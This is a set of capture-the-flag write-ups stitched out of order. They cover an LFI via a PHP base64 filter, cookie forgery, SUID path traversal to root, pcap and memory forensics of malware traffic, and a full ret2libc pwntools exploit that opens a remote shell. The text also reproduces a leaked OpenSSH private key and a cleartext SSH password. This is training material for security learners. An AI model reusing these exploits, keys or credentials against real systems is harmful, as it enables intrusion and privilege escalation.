                data = s.recv(1024).decode("utf-8")
                for i in range(1, 27, 1):
                    x = CaesarCipher(data, offset=i).encoded
                    if "send" in x:
                        break
                
                if count > 0:
                    pos = x.split(" ")[6]
                    char = x.split(" ")[11].replace("\n","")
                    print(pos, char)
                    flag[int(pos)] = char
    
                s.sendall(data.encode())
    
                if len(data) == 0:
                    break
                
                count += 1
            except:    
                print("error", flag)
                s.close()
                count = 0
                break
        if " " not in flag:
            break
            u = ""
            for i in flag:
                u += i
            print(u)

    Scripting

    CAndroid

    Firstly I used 7z to unzip the .apk file.

    7z x candroid.apk

    Then I checked strings to see if there was a flag somewhere. Surprisingly, there was.

    strings resources.arsc | grep flag

    flag{4ndr0id_1s_3asy}

    Web

    Really Powerful Gnomes

    This challenge wasn't really anything special, just automate the process of fighting bosses until you have enough money to get a new weapon, rinse and repeat until you get the "tank" which can defeat the gnomes, when you do that the flag is printed.

    from pwn import *
    
    p = remote('jh2i.com', 50031)
    initial = p.clean(1).decode("UTF-8")
    
    p.sendline("6")
    p.sendline("1")
    new = p.clean(1).decode("utf-8")
    
    for i in range(0, 2500):
      p.sendline("5")
    
    p.sendline("6")
    p.sendline("4")
    next = p.clean(1).decode("utf-8")
    print(next)
    
    for i in range(0, 3000):
      p.sendline("2")
    
    p.interactive()

    hacktoberctf

    Steganography

    KSteg

    The title and description implies that K is replaced with J.

    So, we install the tool jsteg and simply run jsteg reveal luke.jpg.

    flag{yeast_bit_steganography_oops_another_typo}

    PHPhone Book

    Visiting the site, you can see that the location phphonebook.php is referenced, however visiting the url as suggested (/index.php/?file=phphonebook.php ) it returns a blank page.

    However, there is a trick to get around this - if you add a php filter on it so it encodes the content to base64 as demonstrated below: /index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php

    This returns the source code which contains a very interesting piece of php.

    extract($_POST);
    
    if (isset($emergency)){
        echo(file_get_contents("/flag.txt"));
    }

    This essentially means, if there is a variable in the POST request named emergency, it will retrieve the contents of /flag.txt. We did this in two ways, with BurpSuite and with curl, but the curl request was much more simple, all was needed was: curl -X POST 'http://jh2i.com:50002/index.php/?file=phphonebook.php' -d 'emergency=999' | grep flag

    Voila, the flag is returned. A relatively simple challenge, but it was definitely interesting to learn about the base64 filter.

    BSides Delhi

    Cookie Robot

    You know what to do, collect them all.

    hashtag
    Initial Recon

    As the title suggested, first check out robots.txt:

    Now head over to cookie.php:

    Nothing interesting, but again, the name of the page is a huge hint. Using Inspect Element, we can check document.cookie and find out that we have cookies:

    The Piece=1 cookie implies that there are more, so we can refresh the page. As expected, we get another cookie.

    hashtag
    Dumping all the cookies

    We can create a super simple python script to dump them all:

    The Piece cookies go up to 39 before starting again from 0, so we assume there are 39. We now dump all 39 of them and save them to a file.

    hashtag
    Decoding

    As they are hex, we first attempt some hex decoding, but that is unsuccessful. The next idea is to check if they are valid hashes, which they are! It appears as if each cookie is simply a hash of a letter of the flag, and we can dump all of the hashes .

    Now we can save this in cracked and use some basic bash to isolate the individual letters and print them all out.

    And we get the output

    This looks a lot like ROT13, and once decoded from it we get the flag.

    Flag: BSDCTF{C00k135_ar3_b35t_pl4c3_70_ch3ck}

    User-agent: * 
    Disallow: /cookie.php
    herearrow-up-right
    "Our_Fav_Cookie=8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643; Piece=6"
    from requests import Session
    
    sess = Session()
    
    while True:
        r = sess.get('http://15.206.202.26/cookie.php')
        cookies = r.cookies.get_dict()
        print(cookies)
    c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c : O
    f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9 : F
    4ae81572f06e1b88fd5ced7a1a000945432e83e1551e6f721ee9c00b8cc33260 : Q
    5c62e091b8c0565f1bafad0dad5934276143ae2ccef7a5381e8ada5b1a8d26d2 : P
    333e0a1e27815d0ceee55c473fe3dc93d56c63e3bee2b3b4aee8eed6d70191a3 : G
    8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643 : S
    021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96 : {
    5c62e091b8c0565f1bafad0dad5934276143ae2ccef7a5381e8ada5b1a8d26d2 : P
    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 : 0
    [...]
    cat cracked | awk -F ' : ' '{print $2}' > flag
    for line in $(cat flag); do echo -n $line; done
    OFQPGS{P00x135_ne3_o35g_cy4p3_70_pu3px}

    Localghost

    Take apart the javascript.

    In there there is a reference to flag with some base64 next to it.

    Decoding the base64 gives us the flag.

    Tron

    So first rag went around to common social media sites, and eventually found a GitHub accountarrow-up-right.

    There was a pinned repository called Flaggerarrow-up-right. The directory was analysed, but nothing interesting was found except the description.

    Capture the Flag service to collect flags

    Sorry, your flag is in another castle.

    At this point he had to go and I took over.

    I decided to check his other repositories, one of which was a fork of a dotfiles repoarrow-up-right. Since the other repo was a dead end, I decided to check this one out.

    Something that caught my eye was the descriptive note GitHub added:

    This branch is 2 commits ahead of calebstewart:master.

    If it was two commits ahead, then this account must have mades those two changes. I clicked the Compare button next to this to check the changes, and they were very interesting.

    One of these was an OpenSSH private key.

    Another was in .bash_history:

    So this was fairly clear; this key was used to SSH into the website on port 50033. I copied the SSH key into a file called key, ran chmod 700 to change the permissions so that it allowed me to use it to SSH, and connected.

    Once in, all we had to do was cat flag.txt.

    flag{nahamcontron_is_on_the_grid}

    New Year's Solutions

    You can use dig to check out the URL.

    You can also head over and input the URL there.

    flag{next_year_i_wont_use_spf}

    ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033
    $ dig ANY jh2i.com
    
    ;; ANSWER SECTION:
    jh2i.com.               3600    IN      A       161.35.252.71
    jh2i.com.               21600   IN      NS      ns-cloud-a2.googledomains.com.
    jh2i.com.               21600   IN      NS      ns-cloud-a3.googledomains.com.
    jh2i.com.               21600   IN      NS      ns-cloud-a4.googledomains.com.
    jh2i.com.               21600   IN      NS      ns-cloud-a1.googledomains.com.
    jh2i.com.               21600   IN      SOA     ns-cloud-a1.googledomains.com. cloud-dns-hostmaster.google.com. 48 21600 3600 259200 300
    jh2i.com.               3600    IN      SPF     "flag{next_year_i_wont_use_spf}"
    herearrow-up-right
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
    NhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73
    WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm
    3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9
    a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BX
    UTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSn
    o+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKm
    Jm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFv
    mjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2
    EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep
    060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J
    2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8
    +0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMT
    CtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaO
    UBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3
    QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOE
    xI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoG
    Zf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9th
    DU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UH
    pTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHM
    JQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMB
    Efy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl1
    4CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6g
    SAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAA
    wC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hng
    hLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+l
    LdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRa
    FsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X
    5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1
    KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBA
    zcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2G
    KsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2
    K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQ
    S+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+i
    DZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9C
    xTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=
    -----END OPENSSH PRIVATE KEY-----
    ssh -i key nahamcontron@jh2i.com -p 50033

    Evil Corp's Child 1, 2 and 3

    hashtag
    Evil Corp's Child 1:

    hashtag
    Briefing:

    hashtag
    Link to pcap file:

    Right so they started off easy. Opening up the pcap I used the http display filter to show packets of this protocol:

    Opening up the details for the first packet, we can see the full request URL at . I then ran wgetto download the file. As the brief suggests, this is not a png but rather a windows executable. Therefore renaming it to ecorp.exe and running the command md5sum ecorp.exe gives us the flag of flag{a95d24937acb3420ee94493db298b295}.

    hashtag
    Evil Corp's Child 2:

    hashtag
    Briefing:

    Here, we need to use some display filters to refine our search. Firstly, we know it uses the same port as HTTPS. This is port 443. Secondly, We're talking about the malware and know that the infected client's ip is 192.168.1.91 from challenge 1. Putting this into a display filter would look like this:

    Although there are quite a few packets, there are only so many different ips, so trying about 5 got me the correct answer, which was flag{213.136.94.177} .

    hashtag
    Evil Corp's Child 3:

    hashtag
    Briefing:

    This was an interesting one. After some googling, I found out that Certificates are sent during tls handshakes, as TLS is used to encrypt HTTP traffic, making it HTTPS. The Display filter i needed to show these packets was tls.handshake.type == 11.

    As said in the brief, we need the packet from the source IP 37.205.9.252 . Therefore expaning this packet's details, then TLSv1.2 Record Layer: Handshake Protocol: Certificate then Handshake Protocol: Certificate then Certificates then subject: rdnSequence (0) finally gives us the LocalityName.

    flag{Mogadishu}

    By das :)

    What is the MD5 hash of the Windows executable file?
    
    NOTE: If you extract any files within this challenge, please delete the file after you have completed the
    http://www.sinotes.com/wp-content/themes/avada/picture4.pngarrow-up-right
    http://www.sinotes.com/wp-content/themes/avada/picture4.pngarrow-up-right
    In the bottom right is the LocalityName
    link: https://tinyurl.com/y3oltdh5
    password: hacktober
    The malware uses four different ip addresses and ports for communication, what IP uses the same port as https?  Submit the flag as: flag{ip address}.
    
    Use the file from Evil Corp's Child.
    What is the localityName in the Certificate Issuer data for HTTPS traffic to 37.205.9.252?
    
    Use the file from Evil Corp's Child.

    Thanks for Attending

    Thanks for attending BSides, have a nice day!

    hashtag
    Resources

    file-archive
    900KB
    thanksforattending.zip
    archive
    arrow-up-right-from-squareOpen
    Thanks for Attending

    hashtag
    Analysis

    As soon as we get the file, we see we can cause a segmentation fault:

    Using a , we calculate the offset until the saved return pointer to be 40.

    As there is no PIE, our approach will be a standard followed by a .

    hashtag
    Exploitation

    First for the basic setup:

    Now we can start the initial ret2plt. Interestingly, the elf.plt dotdict does not work for some reason (some kind of parsing bug, I assume) so I had to hardcode in the PLT entries (which is fine, since there's no PIE):

    Pretty simple - 40 characters up until the saved return pointer, a call to puts@plt and we set puts@got as the parameter to this as a way of leaking libc. Finally we set the return address to the location of main - allowing us to have another run with the ret2libc.

    Now we just need to parse the output:

    Now we can finish it off with the ret2libc:

    hashtag
    Final Exploit

    hashtag
    Delivering it

    Flag: BSDCTF{3xpl0r1ng_th3_unkn0wn}

    Traffic Analysis

    aka working with pcaps

    Forensics

    Some of the Forensics Challenges from Hacktoberfest CTF 2020.

    De Bruijn Sequencearrow-up-right
    ret2pltarrow-up-right
    ret2libcarrow-up-right
    $ ./chall 
    
    It's been fun, but here we are at the final challenge!
    May I know your name?
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    It's been nice meeting you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
    Segmentation fault
    from pwn import *
    
    elf = context.binary = ELF('./chall')
    
    if args.REMOTE:
        p = remote('13.233.104.112', 2222)
        libc = ELF('./libc-remote.so')
    else:
        p = process()
        libc = elf.libc
    payload = flat(
        'A' * 40,
        0x080490a0,             # puts@PLT
        elf.sym['main'],
        elf.got['puts']
    )
    
    p.recvuntil('name?\n')
    p.sendline(payload)
    p.recvline()
    puts_leak = u32(p.recv(4))
    
    log.success(f'Puts@libc: {hex(puts_leak)}')
    libc.address = puts_leak - libc.sym['puts']
    log.success(f'libc: {hex(libc.address)}')
    
    p.clean()
    payload = flat(
        'A' * 40,
        libc.sym['system'],
        libc.sym['exit'],
        next(libc.search(b'/bin/sh'))
    )
    
    p.sendline(payload)
    p.interactive()
    from pwn import *
    
    elf = context.binary = ELF('./chall')
    
    if args.REMOTE:
        p = remote('13.233.104.112', 2222)
        libc = ELF('./libc-remote.so')
    else:
        p = process()
        libc = elf.libc
    
    # context.log_level = 'debug'
    
    payload = flat(
        'A' * 40,
        0x080490a0,             # puts@PLT
        elf.sym['main'],
        elf.got['puts']
    )
    
    p.recvuntil('name?\n')
    p.sendline(payload)
    p.recvline()
    puts_leak = u32(p.recv(4))
    
    log.success(f'Puts@libc: {hex(puts_leak)}')
    libc.address = puts_leak - libc.sym['puts']
    log.success(f'libc: {hex(libc.address)}')
    
    p.clean()
    
    payload = flat(
        'A' * 40,
        libc.sym['system'],
        libc.sym['exit'],
        next(libc.search(b'/bin/sh'))
    )
    
    p.sendline(payload)
    p.interactive()
    $ python3 exploit.py REMOTE
    
    [+] Puts@libc: 0xf7dad3d0
    [+] libc: 0xf7d46000
    [*] Switching to interactive mode
    It's been nice meeting you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]
    $ ls
    chall
    flag
    run.sh
    $ cat flag
    BSDCTF{3xpl0r1ng_th3_unkn0wn}

    Remotely Administered Evil 1 and 2

    hashtag
    link to file:

    hashtag
    Remotely Administered Evil 1:

    hashtag
    Briefing:

    Simply opening it up in wireshark, we can see the flag-

    flag{solut.exe}

    hashtag
    Remotely Administered Evil 2:

    hashtag
    Briefing:

    All you need to do here is filter for dns traffic. Because there weren't too many packets, I spotted the flag almost immediately and didn't have to filter further.

    flag{solution.myddns.me}

    Amcaching In

    The amcache can be a pretty handy tool to help build out a timeline of execution during an investigation, and is always located in \%SystemRoot%\AppCompat\Programs\Amcache.hve what was the application

    So the description for this challenge briefly explains what amcache is, and also gives a link to a file.

    If you want more information on Amcache, .

    So upon research, I found RegRipper can be used to do this, however, there are plenty of other great tools out there. The one I decided to use for this challenge was .

    AmCacheParser runs on Windows and is basically a tool to analyse and "parse" Amcache. so the command we run this through the windows command prompt.

    We run the above command in the AmcacheParser folder. To break this down we run

    file: https://tinyurl.com/y4z72k5o
    Password: hacktober

    Agent 95

    Change your User-Agent to the Windows 95 profile and you see the flag.

    Oreo

    My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.

    Nice and simple web challenge.

    Looking at the cookie of the webpage it appears to base64 encoded.

    Encode the word "chocolate" into base64 then replace the current base64 in the cookie. The only thing to note is make sure that the base64 is also url encoded.

    AmcacheParser.exe
    taking the
    -f
    argument which tells the tool which file to take as an input, we then specify the file given which was
    Amcache.hve
    . We also need to give an output for the files, this is the
    --csv
    part of the command and we specify the folder next. This will run the tool and the output will be in the file
    OutputFolder
    , or whatever you chose to name it.
    We know have a lot of excel files.

    So as the above image shows, we now have a lot of Excel files to sort through, I first re-read the description to see what we needed and it led me to look in the 20201017155041_Amcache_UnassociatedFileEntries entry, which looks a bit like this:

    There is lots of data here given to us from the AmcacheParser tool.

    Once here i then used the find tool (CTRL + F) to search for mpowers which was the user given to us by the description. Below are the entries for mpowers, more specifically from the full path column.

    Full Path:

    c:\users\mpowers\appdata\local\temp\d930e9b6-7d1b-4a5d-804e-ce667e431ff9\dismhost.exe

    c:\users\mpowers\desktop\ftk imager\ftk imager.exe

    c:\users\mpowers\downloads\python-3.7.0-amd64-webinstall.exe

    c:\users\mpowers\appdata\local\temp\4{b04d01b2-0174-4ef5-8fb5-84584c0964f5}.be\python-3.7.0-amd64-webinstall.exe

    c:\users\mpowers\appdata\local\temp\4{4a1d9cda-5382-4f04-b44d-51927f9c602a}.cr\python-3.7.0-amd64-webinstall.exe

    c:\users\mpowers\desktop\sub-win-x64_104.148.109.124_5682_3262.exe

    So as shown above, we have quite a lot of file paths. We were told to find what he installed, so I instantly looked deeper at the python install executables. It is very clear he installed Python on the system so i tried the flag as flag{python} and we scored the flag.

    Writeup created by Chris Harris (@cjharris18)

    this is a great linkarrow-up-right
    AmCacheParserarrow-up-right

    Captured Memories

    We found some unusual activity coming from an employee's Windows 10 workstation at De Monne Financial. Our IT guy saved the memory dump to the file provided below. What was the PID of the program used

    For this challenge, you get given a mem.raw file. So initially this along with the title screams memory forensics and so the main program that comes to mind is Volatilityarrow-up-right, if unfamiliar with this tool, it can be best described as a memory forensics tool to help you look at memory captures of RAM. This tool should be automatically installed on Kali, but other distros should follow install instructions found on the GitHub page (linked above).

    It is worth noting I used Volatility 2 in this writeup, the syntax for Volatility 3 is similar, just replace volatility with vol3 it could also be worth noting that depending on your install, you might need to run it as volatility.py

    So to start with you run the following command with a memdump/raw format, the imageinfo plugin will provide basic information on the memory capture:

    Breaking this command down we have the name of the program volatility followed by -f which tells volatility to take in the file mem.raw, then as outlined above the imageinfo plugin gives us basic information on the image. I then personally followed it with > raw_imageinfo.txt just so I have it saved in a text file should i need it earlier. This is not essential, however i reccomend it, especially for when Volatility can have a lot of input, it also gives you the power of tools like grep and awk.

    Then we take the profile, normally we take the first however it won't always work, luckily ,in this case, it was the first profile which is Win10x64_1734.

    We then run the following command as we were told we needed the PID so automatically i decided to look at the processes, now this can be done with either the pstree plugin or the pslist plugin, the difference is mainly that pstree gives us a more visual representation of which process was launched by which, whereas pslist lists them all. I chose pstree, the command is shown below:

    Breaking this down, we have the volatility -f raw.mem as I mentioned before which initialises Volatility along with specifying the file. The big difference here is that we now specify a profile as shown by the --profile=Win10x64_1734 part of our command, when we ran imageinfo we took the profile and now we need to specify it to Volatility to run further plugins. The next part of our command is pstree which as outlined above creates a tree of all processes on the system. I then also save this in a file again with > raw_pstree.txt which helps me with things like grep but also means I only need to run this command once. Below is a shortened output for the sake of the writeup:

    Now if we scroll down we see the below process:

    I assumed this was the process as we know it was a Windows system from the challenge description. So for the flag, we simply took the PID which was 3348, which we then submitted as the flag in the form specified which was: flag{3348}.

    Writeup created by Chris Harris (cjharris).

    AmcacheParser.exe -f "Amcache.hve" --csv OutputFolder
    What is the name of the executable in the malicious url? Submit the filename as the flag: flag{virus.bad}.
    What MYDDNS domain is used for the post-infection traffic in RATPack.pcap?
    Use the file from Remotely Administrated Evil.
    volatility -f mem.raw imageinfo > raw_imageinfo.txt
    Volatility Foundation Volatility Framework 2.6.1
    INFO    : volatility.debug    : Determining profile based on KDBG search...
              Suggested Profile(s) : Win10x64_17134, Win10x64_14393, Win10x64_10586, Win10x64_16299, Win2016x64_14393, Win10x64_17763, Win10x64_15063 (Instantiated with Win10x64_15063)
                         AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                         AS Layer2 : FileAddressSpace (/home/REDACTED/Downloads/mem.raw)
                          PAE type : No PAE
                               DTB : 0x1aa000L
                              KDBG : 0xf8001e43d520L
              Number of Processors : 2
         Image Type (Service Pack) : 0
                    KPCR for CPU 0 : 0xfffff8001d4e2000L
                    KPCR for CPU 1 : 0xffffd40032268000L
                 KUSER_SHARED_DATA : 0xfffff78000000000L
               Image date and time : 2020-06-26 15:51:36 UTC+0000
         Image local date and time : 2020-06-26 08:51:36 -0700
    volatility -f raw.mem --profile=Win10x64_1734 pstree > raw_pstree.txt 
    Name                                                  Pid   PPid   Thds   Hnds Time
    -------------------------------------------------- ------ ------ ------ ------ ----
     0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
    . 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
    . 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
    . 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
     0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
    . 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
    .. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
    .. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
    .. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
    ... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
    ... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
    ... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000    
    .... 0xffff87868f2e1080:winpmem_v3.3.r               3348    784      5      0 2020-06-26 15:51:36 UTC+0000     

    An Evil Christmas Carol 1 and 2

    hashtag
    Link to file:

    hashtag
    An Evil Christmas Carol 1:

    hashtag
    Briefing:

    Like the others, you can just filter for http traffic and get the flag:

    flag{205.185.125.104}

    hashtag
    An Evil Christmas Carol 2:

    hashtag
    Briefing:

    We're looking for a domain, so it must be a dns query. Therefore filtering for DNS traffic and specifying the ip (10.0.0.163 as this is the infected client from part 1, and the infected client must've made the query) we can get the flag-

    flag{vlcafxbdjtlvlcduwhga.com}

    By das

    File: https://tinyurl.com/y259doyq
    Password: hacktober

    Linux

    A malicious dll was downloaded over http in this traffic, what was the ip address that delivered this file?
    What is the domain used by the post-infection traffic over HTTPS?
    Use the file from An Evil Christmas Carol.

    Official Business

    Going to /robots.txt reveals the server source code, along with some authentication checks.

    We didn't really do this the intended way.

    Set the auth cookie to

    auth=7b2275736572223a202261646d696e222c202270617373776f7264223a202270617373222c202261646d696e223a20747275652c2022646967657374223a2022686173686c69622e736861353132287365637265745f6b6579202b206279746573286a736f6e2e64756d707328636f6f6b69652c20736f72745f6b6579733d54727565292c205c2261736369695c2229292e6865786469676573742829227d

    which is the encoded form of

    {'user': 'admin', 'password': 'pass', 'admin': True, 'digest': 'hashlib.sha512(secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")).hexdigest()'}

    This makes the SHA512 comparison always true, allowing you to log in as the admin.

    Talking To The Dead

    Flags 1, 2, 3 and 4

    hashtag
    Flags 1 and 2:

    SSHing in and running the command whoami we see we're logged in as luciafer.

    Navigating to /home/luciafer/Documents, I ran ls -alt and the output was as follows:

    Since luciafer owns both these files, I can simply run cat flag1.txt and cat .flag2.txt to get the flags.

    flag 1: flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c} flag 2: flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}

    hashtag
    Flags 3 and 4:

    After looking around, I found flag3.txt located at /home/spookyboi/Documents/flag3.txt and flag4.txt at /root/flag4.txt. Since luciafer doesn't have sufficient perms to read these files, I ran the command find / -perm -u=s -type f 2>/dev/null to find SUID files.

    SUID is a special file permission for executable files, which enables other users to run the file with effective permissions of the file owner. This means we could privilege escalate to root or a higher privileged user, giving us perms to read the flag files.

    This was the output:

    The program ouija jumped out to me, so i tried running it:

    Excellent! it reads files in the /root directory, meaning we simply go

    We use the same program to get the flag from flag3.txt as so:

    Note: as we start in the /root directory, so must go back one (../) to navigate to flag3.txt.

    By das

    Author: syyntax
    
    We've obtained access to a server maintained by spookyboi. There are four flag files that we need you to read and submit (flag1.txt, flag2.txt, etc). Submit the contents of flag1.txt.
    
    ssh hacktober@env.hacktober.io
    
    Password: hacktober-Underdog-Truth-Glimpse
    luciafer@40504779afeb:~/Documents$ ls -alt
    total 20
    drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 .
    -rw-rw-r-- 1 luciafer luciafer   47 Oct  6 08:36 .flag2.txt
    -rw-rw-r-- 1 luciafer luciafer   47 Oct  5 14:55 flag1.txt
    drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..
    luciafer@40504779afeb:/root$ find / -perm -u=s -type f 2>/dev/null
    /usr/bin/umount
    /usr/bin/passwd
    /usr/bin/mount
    /usr/bin/gpasswd
    /usr/bin/su
    /usr/bin/chsh
    /usr/bin/newgrp
    /usr/bin/chfn
    /usr/local/bin/ouija
    /usr/lib/openssh/ssh-keysign
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    luciafer@40504779afeb:/root$ /usr/local/bin/ouija
    OUIJA 6.66 - Read files in the /root directory
    Usage: ouija [FILENAME]
    EXAMPLES:
        ouija file.txt
        ouija read.meluciafer@40504779afeb:/root$
    luciafer@40504779afeb:/root$ /usr/local/bin/ouija flag4.txt
    flag{4781cbffd13df6622565d45e790b4aac2a4054dc}
    luciafer@40504779afeb:/root$ /usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt 
    flag{445b987b5b80e445c3147314dbfa71acd79c2b67}